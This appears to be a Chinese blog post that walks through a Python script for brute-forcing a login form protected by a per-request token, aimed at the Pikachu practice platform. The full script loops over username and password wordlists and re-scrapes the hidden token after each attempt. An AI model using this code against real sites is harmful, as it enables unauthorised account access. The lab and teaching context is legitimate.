Python技術迷 - Python暴力破解網站登錄密碼（帶token驗證）－鑽石舞台

大家好，我是虎哥。

測試靶機為Pikachu漏洞練習平台暴力破解模塊下的「token防爆破?」

春節期間歇了一陣子，吃睡玩看小說。寫這個腳本的起因是因為burp設置帶token的暴力破解我只會用pitchfork草叉模式，要是用cluster bomb集束炸彈模式笛卡兒積那樣就不會了，所以就乾脆把之前寫的腳本加了點東西實現這個功能了，到時候有空再學學多線程，爆破速度就更快了。

關鍵代碼解釋

設置請求頭

5~11行：指定url地址和請求頭，user_token設置首次發送請求包時的token值。

url = "http://192.168.171.30/pikachu/vul/burteforce/bf_token.php"user_token = '8680761fe979039a6f836599906'header = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0', 'Cookie': 'PHPSESSID=17u0i2fakm84eq9oc24boc8715'}

get_token函數獲取token值

13~16行：這個函數返回從響應包中獲取的token

在http響應包中有一個隱藏的標籤裡面有token值：

第15行：soup.select查找標籤名為input，name為token的元素的value的值。

def get_token(r): soup = BeautifulSoup(r.text, 'html.parser') user_token = soup.select('input[name="token"]')[0]['value'] return user_token

完整代碼：

from bs4 import BeautifulSoupimport requestsfrom requests.models import Responseurl = "http://192.168.171.30/pikachu/vul/burteforce/bf_token.php"user_token = '8680761fe979039a6f836599906'#proxies = {"http": "http://127.0.0.1:8080"} # 代理設置，方便burp抓包查看和調試header = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0', 'Cookie': 'PHPSESSID=17u0i2fakm84eq9oc24boc8715'}def get_token(r): soup = BeautifulSoup(r.text, 'html.parser') user_token = soup.select('input[name="token"]')[0]['value'] return user_tokenif __name__ == "__main__": f = open('result.csv', 'w') #把爆破結果儲存到文件里，這裡為csv格式 f.write('用戶名' + ',' + '密碼' + ',' + '包長度' + '\n') #給文件設置標題 #遍歷字典文件，Cluster bomb 暴力破解 for admin in open("C:\\Users\\admin\\Documents\\字典\\賬號.txt"): for line in open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"): username = admin.strip() password = line.strip() payload = { #payload為POST的數據 'username': username, 'password': password, 'token': user_token, 'submit': 'Login' } Response = requests.post(url, data=payload, headers=header) result = username + ',' + password + ',' + str(len(Response.text)) #用戶名密碼以及響應包長度 print(result) #輸出到終端 f.write(result + '\n') #輸出到文件 user_token = get_token(Response) #調用get_token函數獲取下一次循環需要的token print('\n---完成---\n') f.close()

運行結果：